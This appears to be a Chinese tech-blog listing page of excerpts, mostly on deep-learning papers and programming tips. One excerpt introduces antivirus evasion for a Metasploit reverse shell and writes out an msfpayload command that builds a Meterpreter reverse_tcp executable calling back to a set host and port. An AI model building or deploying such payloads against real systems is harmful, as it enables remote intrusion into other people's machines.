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Incremental Learning Techniques for Semantic Segmentation 论文阅读笔记

Incremental Learning Techniques for Semantic Segmentation 论文阅读笔记 摘要 当需要增量学习新任务时，由于灾难性的遗忘，深度学习架构表现出严重的性能下降。 之前增量学习框架专注于图像分类和对象检测，本文正式提出了语义分割的增量学习任务。作者设计了方法提取先前模型的知识

【CVPR2022】BatchFormer: Learning to Explore Sample Relationships for Robust Representation Learning

【CVPR2022】BatchFormer: Learning to Explore Sample Relationships for Robust Representation Learning 论文：https://arxiv.org/pdf/2203.01522.pdf 代码：https://github.com/zhihou7/BatchFormer BatchFormer的 V1 版本 这是一个来自 悉尼大学 和 京东 的工作。为了解决当前

使用autoencoder进行降维

1 tensorflow的原生API实现 #coding=utf-8 import tensorflow as tf import matplotlib.pyplot as plt from tensorflow.examples.tutorials.mnist import input_data #需要自己从网上下载Mnist数据集 mnist = input_data.read_data_sets("MNIST_data/", one_hot=False) lear

深度学习模型概览

Attention模型 Encoder-Decoder结构 ViT模型 ViT向量维度解析 Informer模型 更好的长时间序列预测 Encoder-Decoder整体结构 Encoder结构

Java 9版本之后Base64Encoder和Base64Decoder无法继续使用解决办法

在项目开发过程中，因为重装系统，安装了Java10版本，发现sun.misc.Base64Encoder和sun.misc.Base64Decoder无法使用。   原因： 查看官网发现，JDK中的/lib/tool.jar和/lib/rt.jar已经从Java SE 9中删除，（我估计是因为java从sun换到oracle导致）。   处理办法： 直接用 java.util.Base64.En

论文解读（MGAE）《MGAE: Masked Autoencoders for Self-Supervised Learning on Graphs》

论文信息 论文标题：MGAE: Masked Autoencoders for Self-Supervised Learning on Graphs论文作者：Qiaoyu Tan, Ninghao Liu, Xiao Huang, Rui Chen, Soo-Hyun Choi, Xia Hu论文来源：2022, ArXiv论文地址：download 论文代码：download 1 Introduction  　　MAE 在图上的应用。 2 Met

Decoupling Exploration and Exploitation for Meta-Reinforcement Learning without Sacrifices

发表时间：2021（ICML 2021） 文章要点：这篇文章想说，通常强化学习算法exploration和exploitation都是混在一起的，既探索环境的dynamics，同时也利用探索到的信息来提升策略。但是要想更好的更新策略，就需要好的探索来收集任务相关的信息；要想得到更好的探索策略，就需要基于当前学到的策略还指

NLP中的RNN、Seq2Seq与attention注意力机制

  RNN循环神经网络 RNN循环神经网络被广泛应用于自然语言处理中，对于处理序列数据有很好的效果，常见的序列数据有文本、语音等，至于为什么要用到循环神经网络而不是传统的神经网络，我们在这里举一个例子。 假如有一个智能订票系统，我只需要输入一句话，该系统能识别出我将在什么时间

JSON---Encoder 和 Decoder

前面我们介绍了 Marshal 和 Unmarshal 方法，今天再解一下另外两个 API：Encoder 和 Decoder。 Encoder Encoder 主要负责将结构对象编码成 JSON 数据，我们可以调用 json.NewEncoder(io.Writer) 方法获得一个 Encoder 实例： // NewEncoder returns a new encoder that writes to w. func

C#生成二维码 使用ZXing.Net和ThoughtWorks.QRCode

很久之前写过一篇js前端生成二维码的博客 https://www.cnblogs.com/liuzheng0612/p/10870652.html 今天主要讲解C#服务端生成二维码的方法 方法一：ZXing.Net 1.首先需要引用相关包，直接NuGet找ZXing.Net，安装最新稳定版本就可以了 2.代码 private void btn_ZXing_Click(ob

transformer的简要解读（应该都能看懂）

        本人是学视觉对抗学习的，读论文的时候有论文用到了transformer，所以特地学习一下。博客里没有涉及代码，都是基础理论。个人感觉自己写的应该比较易懂吧，适合小白看。有错误欢迎评论里指出，谢谢。 1. 文中图片、部分文字内容及思路来源 Transformer从零详细解读(可能

#JavaCV 中 FFmpegFrameGrabber 使用时的一些注意事项

1、grabber.start()阻塞的解决方案         假设有如下代码，从Socket中读取视频流并显示。 FFmpegFrameGrabber grabber = new FFmpegFrameGrabber(clientSocket.getInputStream()); grabber.setFormat("h264"); grabber.setOption("rtsp_transport", "tcp"); grabber

自编码器（autoencoder）

autoencoder 简单来说 autoencoder 就是将输入复制到输出的神经网络。但是为了autoencoder能学习到数据中的有效特征而不是简单的拷贝， 我们会在其中加入各种各样的约束，使得autoencoder 学习到有用的特征。 一般来讲AE有两部分组成, 假设输入为\(x\), encoder \(h = f(x)\); decode

Metasploit reverse Shell的免杀（炊少教学）

rootkithat是我以前的马甲 以前写的文章 我们先生成一个X64的WINDOWS XP 的reverse SHELL 1 2 root@rootkithat:/opt/framework-3.7.1/msf3# ./msfpayload windows/ meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4321 R > /tmp/xp.exe 提示：你可以用 scheduleme -m 1

退出账号

package com.itheima.config; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.w

自定义用户访问控制

package com.itheima.config; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; import org.springframework.security.config.annotation.w

【无标题】

编码器-解码器 前言EncoderDecoderConvolution Layer in Encode and Decoder 前言 由于图像分割由一个卷积神经网络构成从而实现的，该网络主要由两部分组成：Encoder和Decoder也就是我们这里所说的编码器-解码器。 Encoder是一个沿用VGG16的网络模型，主要对物体信息进行解析

logback

  <?xml version="1.0" encoding="UTF-8"?> <configuration> <include resource="org/springframework/boot/logging/logback/defaults.xml"/> <property name="ENCODER_PATTERN" valu

[论文笔记][半监督语义分割]Universal Semi-Supervised Semantic Segmentation

论文原文原文地址 Motivations 传统的训练方式需要针对不同 domain 的数据分别设计模型，十分繁琐（deploy costs） 语义分割数据集标注十分昂贵，费时费力 Contributions 本文提出的统一模型可以实现跨领域统一训练 模型使用少量的标注数据和大量未标注数据（半监督模型） 网络架构/方法

Why transformer？（三）

在这一部分我们就要弄明白“encoder和decoder之间是怎么传递讯息的”了，如果你仔细观察下图红方块那一块的话（也就是我们在 Why transformer（二）中遮起来的那一块），那我们就把这一块叫做Cross attention，它是连接encoder和decoder之间的桥梁。 三、Cross attention  上图红色框中你

大概是全网最详细的何恺明团队顶作MoCo系列解读...(完结篇)

kaiming 的 MoCo让自监督学习成为深度学习热门之一， Yann Lecun也在 AAAI 上讲 Self-Supervised Learning 是未来的大势所趋。本文延续上文详细介绍了 MoCo v2和MoCo v3。 Self-Supervised Learning，又称为自监督学习，我们知道一般机器学习分为有监督学习，无监督学习和强化学习。

7_Attention（注意力机制）

文章目录 一、Seq2Seq Model二、Seq2Seq Model with Attention2.1 SimpleRNN + Attention2.1.1 权重计算α~i~2.1.2 Context vector C~i~ 2.2 Time Complexity（时间复杂度） 三、Summary（总结） 一、Seq2Seq Model Shortcoming: The final state is incapable of remembering a

程序员快看，马赛克，克星，真来了~

马赛克的克星，真的来了！ 何恺明大神的新作，Kaiming 讲故事能力和实验能力，一如既往的强！ MAE 的论文，21 年的 11 月份就发出来了。 但是一直没有开源，我也就一直没有写文，最近代码发出来了，可以一睹为快了！ 我们先说下 MAE 的任务： 简单讲：将图片随机遮挡，然后复原。 并且遮挡的比例，非常

阅读笔记-Modulation and Coding Design for Simultaneous Wireless Information and Power Transfer

缩写说明 WPT: wireless power transferWIT: wireless information transferSWIPT: simultaneous wireless information and power transfer, coordinating WIT and WPT in the same RF spectral band thus yields the research of SWIPT ##　Contributions Introduce the po

Go日志库——zap的配置笔记（zap.Logger、zap.SugaredLogger）

代码 package main import ( // "github.com/natefinch/lumberjack" "os" "go.uber.org/zap" "go.uber.org/zap/zapcore" _ "github.com/go-sql-driver/mysql" "github.com/jmoiron/sqlx" ) var log *za